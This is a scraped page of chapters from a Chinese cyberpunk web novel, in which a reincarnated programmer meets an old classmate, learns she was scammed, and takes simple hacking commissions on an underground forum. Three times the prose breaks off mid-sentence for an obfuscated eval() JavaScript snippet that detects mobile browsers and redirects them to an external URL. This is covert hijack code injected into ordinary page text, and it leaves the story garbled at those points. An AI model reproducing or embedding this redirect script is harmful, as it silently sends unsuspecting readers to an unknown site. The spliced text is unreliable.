服务员将终端递给维拉，只见维拉用手腕在终端的感应区扫了一下，叮咚一声，钱就付好了。 路问夏悄悄低头看了一眼自己的手腕，好像确实是有一个植入式芯片。 看来是这个用来付钱了，但总感觉有一些技术上的危险。 不过，作为穷鬼的路问夏，对这个赛博世界的价格更为敏感。 “这顿饭60星币，也就是一个菜才卖20星币，但我看营养液一瓶就要卖400星币？”路问夏好奇地问道。 这对吗？ 反正她现在的人设是严重失忆症，正好能多了解些这个世界的事情。 说到这个话题，维拉的脸一下就拉了下来，愤愤不平地说道：“呵，大公司为了赚钱吹得天花乱坠的溢价东西罢了。呵，反正现在这世道，人工是最低贱的。” “没错！”旁边一桌的某个中年男子突然加入话题，“凭什么？！” 他猛地拍了下桌子上的啤酒瓶。 “神农公司天天投放广告说什么营养液有这那的功效，实际全是放屁！这世道我是真看不懂！” “怎么，把自己整成钢铁怪兽天天喝那劳什子营养液的，就是新潮就是上等人，我们这些有血有肉的吃地里长出来的，就是底层？凭什么！” 那人情绪激动，借着酒劲控诉世道不公。 “冯，冷静点儿。”和他一桌的同龄人看起来有些慌张，连忙制止他，“抱歉，他喝多了。” 寥寥几语，路问夏能感觉到这个世界人们对神农医药的厌恶，和对人类对绝对机械和科技至上崇拜的不解。 “神农真这么讨厌？”路问夏低声问维拉。 “反正大公司都一个样。”维拉一副见怪不怪的样子，“神农的营养液垄断了市场，但每年都在以20%的涨幅涨价。” “这么无良？” “是啊，反正人们都觉得喝那冷冰冰的营养液的人，才算上等人，他们不缺生意。” 路问夏摇摇头，不理解。 炒时蔬带着锅气先被端了上来。 维拉把盘子移动到了桌子的正中间位置摆正，然后才开动，继续刚才的话题。 “营养液只是神农业务的一小部分。它们家是全星系最大的医药公司，但是它们的药几乎保险都不能报销，这才是愤怒的来源。” “保险很贵吗？”路问夏心想，保险应该只是用来兜底的吧。 “很贵！”维拉叹了口气，“3千星币一个月，只是为了不要在紧急情况下收到价值2万的天价医院收费单。” 路问夏突然想到了赛博限定的医疗项目，问道：“那义肢什么的，是不是不包括在保险里？” “当然不包括！那是增强计划的版本，再加3千星币每月参保，但也只能进行简单的维修和低端产品的替换，俗称可回收垃圾。” 路问夏：？这赛博世界也有点太万恶的资本主义了！ 刚巧牛肉米线也做好了，不愧是维拉的倾情推荐，色香味俱全，比过期营养液好吃上百倍。 要她说，靠营养液维系生命体征和行尸走肉有什么区别！ “果然还是热气腾腾的有活着的感觉。”路问夏感慨道。 还有半句没说出口——活着真好。 维拉从碗里抬起头应和道：“我也这么觉得！” 免费吃饱喝足后，路问夏已经未雨绸缪，开始担心下一顿饭的钱从哪里来了。 尤其是，她的视网膜成像时不时还在闪烁花屏，和小时候她家那个大脑袋电视机似的。 在心里叹了口气，路问夏问道：“维拉，你知道有什么来钱快的办法吗？” 她觉得至少自己得先去找家医院看看自己究竟是什么毛病，能不能治好再说。 维拉：“你之前会接一些修义肢代码的单子，但......” “我的工具台和工具都不见了。”路问夏接过话补充道。 “路、问、夏！” 突然，自己的名字被字正腔圆地念了出来。 路问夏转过头望向门口，四目相对。 ？这人好像有点眼熟...... 旁边的维拉赶紧朝对方挥手招呼她坐下。 “夏侯，路她又失忆了。” “哈？”这个叫夏侯的女生挑眉，凑到了路问夏的眼前，认真盯着她，“你不是战略性失忆？” 路问夏苦笑着摇摇头。 虽然自己确实是战略性失忆，但想忽悠的也不是这位夏侯女士吧？ 等等！ 夏侯这个姓加上她的这张脸，怎么给路问夏一种熟悉的感觉。 ——精致的鹅蛋脸，一双水汪汪的大眼睛灵动漂亮，配上正红色的口红，显得很有气场。 渐渐的，这张脸和记忆中的某个人模糊地对上。 “不好意思，所以，你叫什么？”路问夏问道。 夏侯女士上下打量着路问夏，半天，抱胸在对面坐下。 她挺直了腰背，昂着头，反问道：“我这么多年白干了？” 在夏侯进入餐厅之后，周围就有不少讨论的声音。 而在她这句话之后，便有人跳出来替夏侯介绍。 “夏侯雪可是咱们伍德新闻台早间播报的主持人。”那人是对路问夏说的。 “嗯哼。”夏侯雪优雅地点了下头。 夏侯雪？！ 这名字路问夏倒是印象深刻，这不是她高中时候的同桌的名字吗？！ 路问夏又仔细看了一下这位故人的脸—— 嗯，是和高中同学很相似。 就是夏侯雪本来是单眼皮，但这里是欧式大双。 再等等！ 单眼皮变欧式大双？！ 这个事情路问夏也有印象。当时夏侯雪经常对她说不喜欢自己的单眼皮，特别希望能有欧式大双。 然后...... 自己就在兴趣使然下自学编程做的小游戏里，给自己捏了个小人，又满足同桌的愿望也捏了个对应的小人。 想起来了，路问夏全都想起来了！ 自从高中分别后，路问夏和夏侯雪就很少见面了。 突然在死后，在一个完全陌生的世界里久别重逢，感觉挺奇妙的。 自己这是......重生或者穿越到了自己制作的游戏世界里？ 不不不，路问夏没办法确定这件事。当时的那个小游戏，除了自己和夏侯雪的人物形象是认真写代码捏出来的，其他无论是游戏的世界观还是具体设定，她都完全没写过。 没有世界设定，没有地图星球，没有主线任务，什么都没有。 她打开游戏捏完脸就跑路了。 但现在这感觉就像是......游戏世界自己生长出了血肉。 一股莫名的寒意从路问夏的脚底升起。 “路问夏，你发什么呆啊？”夏侯雪在路问夏眼前挥挥手，挑着剑眉说道，“难道是被我美貌吸引了？” 路问夏的眼神重新聚焦在这张美而自知的夏侯雪的脸上，她莫名想起了高中时候，自家同桌对着镜子练习微笑时得意的模样。 当时夏侯雪怎么说来着？她以后要成为电视台里的台柱子！ “对。”于是，路问夏笑着对夏侯雪点头。 可听到肯定回答的夏侯雪却瞪圆了眼睛：“失忆让你转性了？！你之前还说我臭美来着。” 臭美？这倒像是高中时候自己会对夏侯雪说的话。 “对了，我来这儿是想问你，你上周问我借的五千星币，能还我不？” “我欠你五千星币？”路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421351|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问夏嘴角抽了一下。 “啧，别给我用失忆的借口赖账啊！”夏侯雪抱胸傲娇地抬起头，“我可是来这儿讨债的。” 在赛博世界里唯一认识的高中同桌变债主，路问夏叹气。 “呃......首先，我能知道我为什么欠你钱吗？” 路问夏觉得赛博世界的自己，似乎留下了一大堆烂摊子。 “你好像说要买北高地的一处房子，因此把工作台都卖了筹钱呢。”夏侯雪解释道。 很好，工作台不见了的秘密揭晓。 至于买房，也莫名和自己现实里的愿望对上了？ 本来一直在听两人聊天的维拉默默抬起手，插话道：“北高地的房子？你买的不会是昨天新闻刚爆出来的那个骗子楼盘吧？” “骗子楼盘？”夏侯雪眼神飘向窗外开始回忆，“我之前听路问夏说过，她买的那个楼盘是叫......叫追日。” “对，追日房产！” “追日房产？！”维拉扶额。 而墙上电视里正在播放的新闻则在呼应夏侯雪的话—— “伍德新闻为您带来追日房产公司诈骗案的最新动态。据我台记者了解到，本次追日房产累积诈骗金额达到了五千万星币，涉及北高地三处未建成楼盘。” “伍德警方表示他们正在全力追捕携款潜逃的追日房产CEO本森。警方对有效线索悬赏两万星币，市民朋友可以拨打警方电话111。” 看完新闻，三个人同时沉默了。 “......” 尤其是维拉和夏侯雪看路问夏的眸子里，全都是同情。 路问夏知道这是个烂摊子。但她之前万万没想到，摊子有这么大啊！ 她想垂死挣扎一下。 “我花了多少钱买的房子？”路问夏转头看向知情者夏侯雪。 “先给了首付十万星币？”夏侯雪眨眨眼睛道。 路问夏：“血本无归了？” 维拉张嘴，打破了路问夏的幻想。 “你今天不是兜里只剩下250星币了？” “......” 路问夏不想活了！！ 但这个转瞬即逝的念头，让路问夏心中产生了一个猜测。 难道是因为游戏世界的自己承受不住被骗而自杀了？ 然后，现实世界的路问夏这才重生到了游戏世界的自己身上。 路问夏很想弄明白，自己究竟是为什么会来到这里，这里的自己发生了什么？ “我会做傻事吗？”路问夏朝二人问道，“抱歉，我好像连这个也忘了。” 两人同时默契而果断地摇摇头。 维拉：“不不不，你就算被骗了十万星币也不至于去自杀。” “没错！反正你之前在桑特星被开除回来的时候，也挺平静的。” 等等，桑特星，开除？ 这又是什么事情？？ 路问夏觉得自己的故事越发扑朔迷离。 “这你没和我说过，别问我。”夏侯雪预判了路问夏的问题，“反正你只告诉我说，被公司开了，就回老家待一段时间这样，休息一下也挺好。” “对，我也是一年前才和你认识的，之前我隔壁一直是空着的。”维拉证实了夏侯雪的说法。 很好，未解之谜又增加了。 从一开始的震惊到现在的无奈，路问夏觉得她接受能力提升了不少。 说实话，如果路问夏没有意识到这具身体其实是自己创造的另一个世界的角色的话，她可能真的会选择摆烂。 但眼前的人是她久别重逢的高中三年玩得最好的同桌，而新认识的邻居小姐姐维拉人特别仗义友好。 现实世界的结局已经注定是悲剧，而游戏世界的自己似乎也正朝着悲剧的方向极速狂奔。 路问夏很想踩下刹车。 她深呼吸，低头把碗里的米线吃了个干净，真挚地看着两位好友。 “有什么挣钱的门路可以介绍吗？” 5. 虚拟 “你的老本行修义体？”夏侯雪手肘支在桌上撑着脑袋，随口提议，然后突然想起来什么坏笑，“不对，你把吃饭的家伙也卖了！” “所以，我现在需要找个空手套白狼的法子。”路问夏试图用微笑面对困难。 夏侯雪调侃道：“要不你去这边餐厅挨个问问需不需要帮工？” 夏侯雪怎么和以前一样爱戳她。 “她现在这副身体，可能老板会比较担心是碰瓷的。”好家伙，维拉怎么也加入了？！ 但路问夏无法反驳：“......” 三个人陷入尴尬的沉默。 维拉思忖片刻，突然拍了下脑袋，然后低下身子，小声对路问夏说道：“我觉得你要不要试试去做黑客？” 黑客？ “这是合法的生意么......”作为21世纪华国好公民，路问夏嘟囔着。 “这个嘛，只要不攻击星际政府和大公司的系统，应该就没事吧？”维拉苦恼地皱起眉头，“你知道的，如果真要按照星际治安条例来说，我做雇佣兵这件事也挺灰色地带的。” “你们放心吧，无论是伍德警方还是桑特总署，他们除了给我们台里发通稿报道，没空真来抓你们。”夏侯雪笑着补充。 很好，那她们三个人的组合还挺适合逍遥法外的。 既然是灰色地带，那路问夏觉得是个赚钱的好路子。 “不过，你首先需要一个能接入虚拟网的地方。”维拉两手一摊，“但我家没有，虚拟网接入需要付每月5000星币的许可费，是奢侈品。” “嗯哼。”夏侯雪点头。 按照路问夏对高中时代认识的夏侯雪来说，她这个表情指定知道一些什么。 “那你应该家里有虚拟网吧。”路问夏笃定地开口。 “这你就问对人了，我家是有一台。”夏侯雪得意地扬起头。 路问夏庆幸自己当时把夏侯雪的角色创建进赛博世界。 有一种年少时的箭射中自己的奇妙感觉。 不过，白嫖夏侯雪的虚拟网，让路问夏心理有点儿过意不去。 就在这时，夏侯雪看了一眼自己，清了清嗓子。 “本来是想收你点钱的，但考虑到你已经债台高筑，我就不收费了。” 路问夏轻笑。 夏侯雪还是一样，明明是来关心自己的，偏偏要说是讨债。 - 吃饱喝足后，路问夏和维拉上了夏侯雪停在路边的拉风红色跑车上。 “我坐后面就行。”路问夏说着，钻进了跑车狭小的后排。 好在她消瘦，换成维拉那身板加肌肉估计要把座椅给撑变形。 “谢了。”维拉坐在副驾上。 “话说，做新闻主播在这儿这么赚钱吗？”路问夏觉得自己是不是选错了专业，“车很漂亮。” “在这儿？你是说伍德星？”夏侯雪发动跑车，发动机的轰鸣声冲进耳朵，“我选的，当然漂亮。” 她打了个方向盘，把车驶进车道里。 “而且，对那些有自己飞车航线的顶级资本家来说，我这跑车都入不了他们的眼。” “是啊，低空航线的管控使用权，那可是私人所有的。”维拉说道。 跑车缓缓从滨河区驶出，路边的风景随着汽车的行进一点点改变着。 从狭窄的紧贴着车门的充满烟火气的两车道小巷，到笔直的能看到远处的山和窗外的海的宽敞四车道公路，最后再开回一路盘旋而上的两车道山路。 那些景色很真实地展现在路问夏的眼前，没有游戏世界的卡顿或是锯齿，也没有招手呼叫的npc和模版复制粘贴的背景。 夏侯雪的别墅在北高地的一片高级别墅区，门禁森严安保齐全，小区环境一流，每栋别墅还带着一片面积不小的小院， 路问夏觉得，自己为什么不干脆抱住这位高中同学的大腿呢？！ “那个......你愿意收留一个身无分文的可怜的我吗？” 夏侯雪一脸看鬼的表情盯着路问夏。 “你以前不是坚决拒绝宁死不从的吗？失忆了还转性了？” 路问夏：“......” 赛博世界的自己这么有骨气吗？ 还是，自己身上隐藏着什么不可告人的秘密？ 夏侯雪给两人各倒了一杯咖啡。 “我家只有健康黑咖啡。” 维拉：“谢谢。” 两人接过装着香气扑鼻的高级磨砂马克杯。 路问夏：“健康点挺好。” “对了，虽然我有虚拟网，但是我没上过你要去的什么黑客论坛，也不知道怎么进去。”夏侯雪继续道。 路问夏觉得留给自己的难题真是一个接一个。 维拉只是拍拍路问夏的肩膀，传递给她信心。 “行，我到时候自己研究一下。” 车到山前必有路，路问夏觉得自己都姓路了，应该能找到出路吧？ “虚拟网设备在书房，跟我来吧。”夏侯雪看了一眼维拉，“你一起吗？” 维拉耸耸肩没起身，坐姿保持着从进来时的挺拔。 “我在客厅休息一会儿就行。” 夏侯雪的家是豪华的三层别墅。第一层大平层是完整的会客厅、餐厅和开放式的厨房，沿着白色大理石楼梯拾级而上，就到了承担各种功能房的二层。 其中最大的一间，就摆着各种电子设备，包括了一台可以接入虚拟网的亮银色的高级装备。 一个和光脑差不多的显示屏，一个冷冰冰的躺椅，几条不同颜色的插线，以及一个半开放式的头盔。 路问夏打量了一下这设备，并没有立刻躺下。 “这根红线连你左手臂的接口，蓝色的已经和头盔连好了，点击一下头盔右侧的开始按钮，就能嗖的一下来到加密过的虚拟网了。”夏侯雪认真地给她解释道。 路问夏一边记一边点头，然后指了指显示屏，问道：“这个是......？” “哦，这是我花钱附加的服务，会用来监测使用者的各项数据，不对的话会随时发出警报，还和我的家庭医生联网了。” 夏侯雪停顿了下，难得表情严肃地继续说道：“加密过的虚拟网对每个接入者身份做了掩藏，可与此同时危险性也提升了。如果在虚拟网被恶意攻击，甚至有可能会迷失在那儿的某个角落，永远回不到现实。” 这么危险？ 路问夏深呼吸，但没打算在这里服输。毕竟，程序员可是自己的老本行。 “我应该能搞定。” “你最好是。都明白了的话，我就先出去了。”夏侯雪大步朝门外走去，“我得和维拉聊聊你日益严重的失忆症，当然，主要是为了你的债。” “好，谢谢。”路问夏点头。 夏侯雪还说不关心自己。 在夏侯雪的背影消失后，路问夏缓缓将那根红色的数据线， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421352|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接入在了左臂义体侧面细细长长的缺口。 她笃定地戴上了头盔，打开了启动按钮。 电极在额头和手腕处释放微弱的电流，酥麻的感觉传导到神经中枢。 下一秒，路问夏感觉眼前一亮，自己被一团迷雾包围，来到了一个全新的虚拟世界。 滴滴—— 随着一声启动音，迷雾逐渐散开，一个闪着亮黄色的光圈占据了视线。 “欢迎来到虚拟网，系统检测到登陆者曾用账号，请问您要继续旅程还是重新注册新账号呢？” 耳边传来一道机械音，很难分辨是男是女，音调似乎在每个音之间平衡流动着。 曾用账号？ 路问夏敏锐地捕捉到关键词，眉头微蹙。看来，虚拟网是和生物身份直接绑定的。 她这具身体究竟藏着怎样的过去和秘密？ “继续旅程。”路问夏决定一探究竟。 “正在为您登陆账号——” 黄色圆圈转了起来，闪光变成了蓝色，迷雾再次笼罩。 “欢迎回家，007。” 机械声响起的时候，一个虚拟的3D形象出现在路问夏的眼前—— 和自己差不多身材比例，但一头乌黑的长发，搭配齐刘海和一副能遮住大半张脸且看不清眼睛的厚底眼镜，把自己那些明显的外貌特征全都隐藏了起来。 但是......自己叫007？ 路问夏嘴角没来由地抽搐了一下，对这个充满了牛马色彩的名字汗颜。 不知道赛博世界的路问夏是不是觉得这特工代号很酷，但对现实互联网大厂员工转生的自己来说，只能说非常完美地形容了她的生存状态。 “007，请问您是否要现在接入虚拟网，还是要对自己的虚拟形象进行修改？” 机械音继续，提示着路问夏。 虽然往前是无尽的未知，但路问夏想要正面对决。 于是，她坚定地开口：“是。” 光圈在此转动，只是这次又变成了红色。 紧接着，路问夏的眼前就瞬间出现了一个充满科幻未来感的大厅。 大厅的顶部隐没在更为浓密的迷雾中，却不知道从哪个光源投下了蓝紫色调的灯柱，照耀在一片望不见边界的小方块组成的地面上。 所以，现在是要寻找进入到这个能够接到的委托的黑客论坛的办法。可黑客论坛并不是大剌剌躺在明显的地方等着你光顾的。 还没等路问夏思虑过度，机械音的提示再次响起。 “007，您好，有什么需要帮助的吗？” 路问夏决定单刀直入。 “我要去黑客论坛。” 圆圈再次转动，三秒后，一个图标出现在她的眼前。 那是一个极简风格的六边形，六边形里面是一只—— 七星瓢虫？！ 路问夏记得，那和自己脖子上莫名多出来的U盘上的图案，是同一个。 “请问您是在寻找「虫巢」吗？”系统确认道。 路问夏顿了两秒，没想到进入得如此毫不费力。 “......是。” 路问夏猜测，她之前一定去过那里，所以系统保留着所有的信息。 但自己为什么去过？去那儿是做什么的？虫巢的标志为什么和自己U盘上的一样？ ...... 问题一个接一个冒了出来，眼前的浓雾朦胧不清。 6. 虫巢 “正在确认访问凭证。” ...... “正在确认生物信息。” 在漫长的十几秒后，浓雾才缓缓散开。 那是一个巨大而结构复杂的昆虫巢穴，如同一座暗黑色调的庞大地下宫殿。 虫巢并不拥挤。 不同相貌的虚拟形象在巢穴的不同房间内三三两两地聚集。从远处看，像是真正生活在这里的昆虫居民。 但走近看，还是会发现这些虚拟形象都很有个性，甚至可以称得上“妖魔鬼怪”。 ——有的还保持着人样，是打扮精致的明星或奇装异服的潮人，有的已经是完全机器化的改造体，还有的彻底变了物种，成了动物或是外星人。 反正让路问夏没想到的是，自己刚才看着形象反而是正常得不能再正常。 系统的声音响起：“由于您两年未登陆虚拟网，此前的委托记录和等级均已清空。” 什么委托记录和等级？这是虚拟网的级别设定吗？ “胜败乃兵家常事，请用户继续努力！” 仿佛是觉得清空实在很残忍，机械音还没忘记安慰她。 路问夏：“......” 路问夏切换了一下视角，发现自己头上挂着一个「0级」的字样。 一个ID名为「画饼不能充饥」的人形用户自来熟地和自己打招呼，他的头顶和自己一样是「0级」。 “007，你也是新来的吧？！”没有给路问夏反驳的机会，「画饼不能充饥」就继续自顾自地说道，“虫巢的进入认证任务你做了多久？” 进入认证？ “没多久。”路问夏随口说道。 毕竟，她总不能说自己十几秒就自动进来了吧？ “唉，那你可真厉害！我为了能来虫巢，硬是花了三年的时间做任务！整整三年啊！” 对方显然把路问夏当作是同病相怜的0级新手，真情实感地大倒苦水。 “结果好不容易进来了，却什么好单子都接不了！你看看，这些单子听上去像话吗！我是什么很烂的人吗？！” 路问夏随着「画饼不能充饥」的操作，看到了虫巢特有的任务接取系统。 委托任务被分为0到3的不同的等级，对接委托黑客的虫巢等级有着严格的要求。 “3级上面还有别的吗？”路问夏问道。 「画饼不能充饥」：“我听说是有几位管理员是4级的，但是我没见过。” 不同委托所获的报酬金额是天差地别的。 比如，不限等级委托价格都在500星币左右，而上一个等级就直接翻倍到了1500到2000星币。 而需要3级的委托则的跨度就更大了，最低的也有5000星币，按照难度上不封顶。 “哇，我升到3级得猴年马月啊！”「画饼不能充饥」苦着脸，看着那些诱人的金额。 “很难吗？”路问夏没概念。 “非！常！”「画饼不能充饥」做出了一个夸张的表情，从上到下扫视了一遍路问夏，“你知道目前虫巢好评率第一的黑客「巨鲸」多久才完成了三级跳么？” 路问夏耸耸肩，表示也不知道。 对方一脸鄙夷道：“「巨鲸」花了六个月就升到了3级了！这可是有的人几年甚至几十年都完成不了的成就！” 半年？ 这不是挺久的？升级真有这么难么？ 见路问夏没什么反应，「画饼不能充饥」急了，拉着给她看升级的规则—— 五星好评数大于10个，好评率在90%以上可升到1级。五星好评数大于60个，好评率在95%以上可升到2级。五星好评数大于180个，好评率在98%以上可升到3级。 “光是接完180个单子，就要好几月吧？”「画饼不能充饥」说道，“还不难么？” 路问夏：？ 这虫巢是什么打车软件接单？ 黑客其实都是司机？ 系统在帮路问夏连接进入虚拟网的同时，还连接了她的脑神经波动。 所以，当现在路问夏心绪波动强烈的时候，是可以被量化捕捉到的。 “请用户007努力接取委托升级吧！”机械音如是说道。 路问夏：“......” “不过，委托人应该进不来虫巢吧？”路问夏问「画饼不能充饥」，“那他们是怎么发布任务的？” “你这也不知道？”「画饼不能充饥」疑惑地看着路问夏，但还是贴心地解说道，“那是另外一个半公开的论坛，委托会以一种特别的加密方式发到虫巢的系统里，报酬也是以第三方的方式打到账户。所以，能进入到虫巢的黑客，已经是佼佼者了。” 怪不得黑客们在虫巢很放松，听起来安全系数确实还行。 路问夏扫了一圈那些没有等级限制的委托。该怎么形容呢，就是简单中带着一丝莫名其妙。 比如—— 「帮助客户找回自家智能家居系统的密码，因为客户现在被自己困在家中打不开门。」 这真的不是借口不想去上班的原因吗？ 算了，赚钱嘛，没有高低之分。 蚊子腿也是肉，积少成多！ 路问夏深呼吸接下了第一个委托，三下五除二黑入了客户家中的智能系统后台，利落地把密码重置成12345。 007：「搞定了。」 从接单到完成，路问夏仅用时3分52秒。 这速度让刚准备接单的「画饼不能充饥」愣住。 “不是，你昨晚了？” “嗯，0级任务应该都很简单吧。” 就当路问夏信心满满地点开对方给自己的评价栏，愣住的人变成了她。 不是？对方怎么打了个四星啊？！ 「画饼不能充饥」先是看了一下委托内容，然后没忍住噗嗤一声笑了出来。 路问夏不解：“？” 「画饼不能充饥」语重心长地拍了拍她的肩膀，解释道：“虽然你懂技术，但你不懂人心呐！” 路问夏懵了，反应过来后则是无语。 所以，对方确实是不想这么快解决这个事情，然后合理不上班对吧？！ 滴滴—— 系统显示收入增加了350星币。 不是，怎么给差评还扣钱呢！明明这个委托的价格是400星币吧？ 人在虫巢，一分钱难倒路问夏！ 为了挣钱，路问夏只好更加认真地挑选下一个委托，发誓不会再掉进这种坑里！ 第二个委托听上去也很奇怪—— 「帮助客户破解登陆老板的社交媒体。」 这个委托应该正常完成就行了吧？ 路问夏特意花了三分钟，用她不太存在的情感功能分析了一下委托，得出了「应该可行」的结论。 委托完成得很顺利，路问夏这次只花了3分50秒，比之前更快了2秒。 路问夏不安地点开了评价栏，长舒一口气。 这是五星好评！ 且收入再增加500星币！ 想要升级，她还需要再拿到9个五星好评才行。 路问夏一想到自己那家徒四壁的小屋，欠夏侯雪的债，以及迫在眉睫的医药费，就浑身充满接委托的动力。 因为都是些没难度的不限等级的委托，路问夏做起来很顺手，纯当作是复习赛博世界代码和底层逻辑了。 最快3分钟，最慢5分钟，中间休息不超过2分钟。 仅仅花费一个小时，路问夏就把剩下的9个五星好评收入囊中。 这升级速度简直惊人！ 而且，路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421353|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问夏能感觉到脑袋里的记忆是在自动归类的。 她的脑子像是一个永远也装不满的拥有不同房间的记忆宫殿，所有内容清晰且随时可以调取。 这身体虽然有赛博精神病，但脑子比现实世界的好使得多。 「画饼不能充饥」完成一个委托出来一看，发现路问夏脑袋上顶着「1级」头衔，直接呆住。 “不是，你就这么升级了？！” 「画饼不能充饥」揉揉眼睛，“我听说「巨鲸」都花了半天时间才升到1级的。你是完全不休息吗？！” 路问夏点头，这才后知后觉地意识到自己确实是高强度用脑。 特别是，越是当她刻意去调取记忆宫殿的时候，身体的抽离感就越强。 但路问夏看了眼钱包—— 新增5650星币，再加上之前的1250星币，她现在的资产已经来到6900星币了！ 这精神力花费得很值。 6900星币已足够还债，但医疗费还没着落，路问夏马不停蹄朝着等级2出发。 刚点开委托列表，一阵头晕目眩袭来。 路问夏眼前一黑，耳边隐隐约约听到了滴滴的警报声。 “警告！警告！” 三秒后，窒息感包裹着路问夏。 呼—— 她不得不张大嘴巴，用力地喘着气，试图将空气更多地吸进肺里。 可意识正在涣散。 短暂的一阵迷茫后，路问夏终于感觉恢复了对身体的控制权。 睁开眼，马赛克闪烁变得更严重了。 该死的！眼睛看不清，脑袋还很疼！ “你没事吧？”路问夏感觉到肩膀被不停地拍打着。 努力透过故障的视野望去，她看到了夏侯雪焦急的脸庞。 “我——”路问夏发现自己喉咙发紧，生疼地咽了下口水，“我怎么了？” 维拉说道：“刚才警报突然响起来。” “设备就自动切断你和虚拟网的连接，把你弹出来了。”夏侯雪没好气地接着解释。 路问夏平躺缓了好一会儿，才撑着身体慢慢从躺椅上坐起来。 “我、我没事。只是有点儿用脑过度。” 路问夏分别给了夏侯雪和维拉一个放心的眼神。 但两个人显然不相信路问夏此刻的任何话。 夏侯雪仔细观察了一会儿，提议道：“要不我把我的私人医生叫过来，帮你做个简单检查吧。” 路问夏本想点头应下，可突然意识到自己这身体有赛博精神病。 而且夏侯雪现在算公众人物，明天要录节目，路问夏不想在这个节骨眼上徒生变数。 她是信任夏侯雪的，但私人医生就未必了。 更糟糕的是，除了赛博精神病，她的身上似乎还藏着别的秘密...... 于是，路问夏摇摇头：“我真没事，就是一下用脑过多太累了，我睡会儿就行。” 夏侯雪见路问夏不愿意，也没有勉强，和维拉一起搀扶着路问夏上到三层。 她推开了一间客房的门。 “你在这睡会儿吧，晚点再走也行。” 夏侯雪贴心地按下墙边的一个按钮，窗帘自动关了起来。 “好，谢谢。”路问夏松了口气。 夏侯雪和维拉深深看了眼路问夏，出门，站在走廊上。 “路问夏她真的没事吗？”夏侯雪很苦恼，“我最近这阵子工作挺忙的，也不知道该怎么帮她。你知道她究竟怎么了吗？” 维拉沉默了半晌，缓缓摇摇头。 “路她平时多大数时间都待在自己家里，我也是今天发现她失忆症突然变得很严重。” “从桑特星回来之后，路问夏她真的变得很奇怪......” 夏侯雪长叹了口气。 7. 诊所 “人呢？怎么突然下线了？” 眨眼间，「画饼不能充饥」就发现「007」不见踪影。 「画饼不能充饥」挠挠头。 不一会儿，姗姗来迟的同伴「电子鱼」在他前面挥挥手。 “你傻站这儿干嘛呢！第一次来虫巢太开心了？” 「电子鱼」的头上顶着金灿灿的「3级」头衔，他是虫巢的老用户了，「画饼不能充饥」算是他收的小徒弟，费了好大劲才通过了准入测试。 看过「007」操作的「画饼不能充饥」试图保持平静，咽了下口水。 “我刚才遇到一个人，一个小时，从0级新号升到了1级。” 「电子鱼」：“一个小时完成任务其实也不快......” “等等，你是说直接升级了？！”「电子鱼」后知后觉，然后瞪大了眼睛。 由于他设置的虚拟形象的脑袋是条鱼，眼睛瞪得太厉害，直接砰的一下掉在了地上。 「画饼不能充饥」默默帮「电子鱼」捡起了眼睛，重新安了回去。 「电子鱼」眼睛重见光明，好奇地问道：“那人叫什么？” “「007」，好像是叫这个来着。” “「007」？”「电子鱼」若有所思，嘴巴里不自觉吐出泡泡，“好熟悉的名字......” 「画饼不能充饥」挠头：“是吗？但她是0级新人啊。” “虫巢的规矩，两年没上的号会自动清空所有等级和信息，所以，不一定是真的0级新人，也可能是——” 「电子鱼」的话没说完，「画饼不能充饥」就抢过话茬：“大佬重回新手村？！” “名字确实有点儿熟悉......” 但「电子鱼」之所以叫这个名字，就是因为他记性太差，以至于原地站了三分钟，还是什么都想不起来。 - 夏侯雪的床很柔软舒适，加之在熟悉的人家里独有的安全感，让路问夏的这一觉睡得格外沉。 路问夏好像断断续续地做了个梦。 梦里，有一团模糊的黑影正穷凶极恶地对自己紧追不舍。 黑影里面应该有东西，但只顾着狂奔的路问夏只回头看了一次，就完全看不清那是什么。 直到，梦里的自己掉下了悬崖。 路问夏惊醒。 时间滴答地走着，窗外的夜色逐渐浓郁，月亮高悬于头顶。 维拉坐在沙发上看完了一本书，路问夏才睡眼惺忪地从楼上走下来。 “几点了？” 维拉看了眼终端：“凌晨3点。” “夏侯雪去睡觉了？” “嗯，说再不睡明天上镜状态不好。如果我们想走的话可以从地库里开一辆车走，太晚了想留下来可以睡在客房。” 路问夏总觉得刚才那噩梦意有所指似的，揉揉太阳穴，说道：“还是走吧。” - 维拉把夏侯雪的车停在了家附近最高级的停车场，虽然也只是多雇佣了两位保安。 回到几乎什么都没有的家里，路问夏竟生出了一丝释然。 金窝银窝，不如自己的赛博小窝。 路问夏看见床就走不动了，径直扑上去，又接着睡觉。 转身的功夫，路问夏已经进入梦乡了。 维拉看着仰躺在床上毫无防备的路问夏，摇摇头帮她盖上了随手扔在椅子上的毯子，这才回到了隔壁的房间。 第二天，日上三竿。 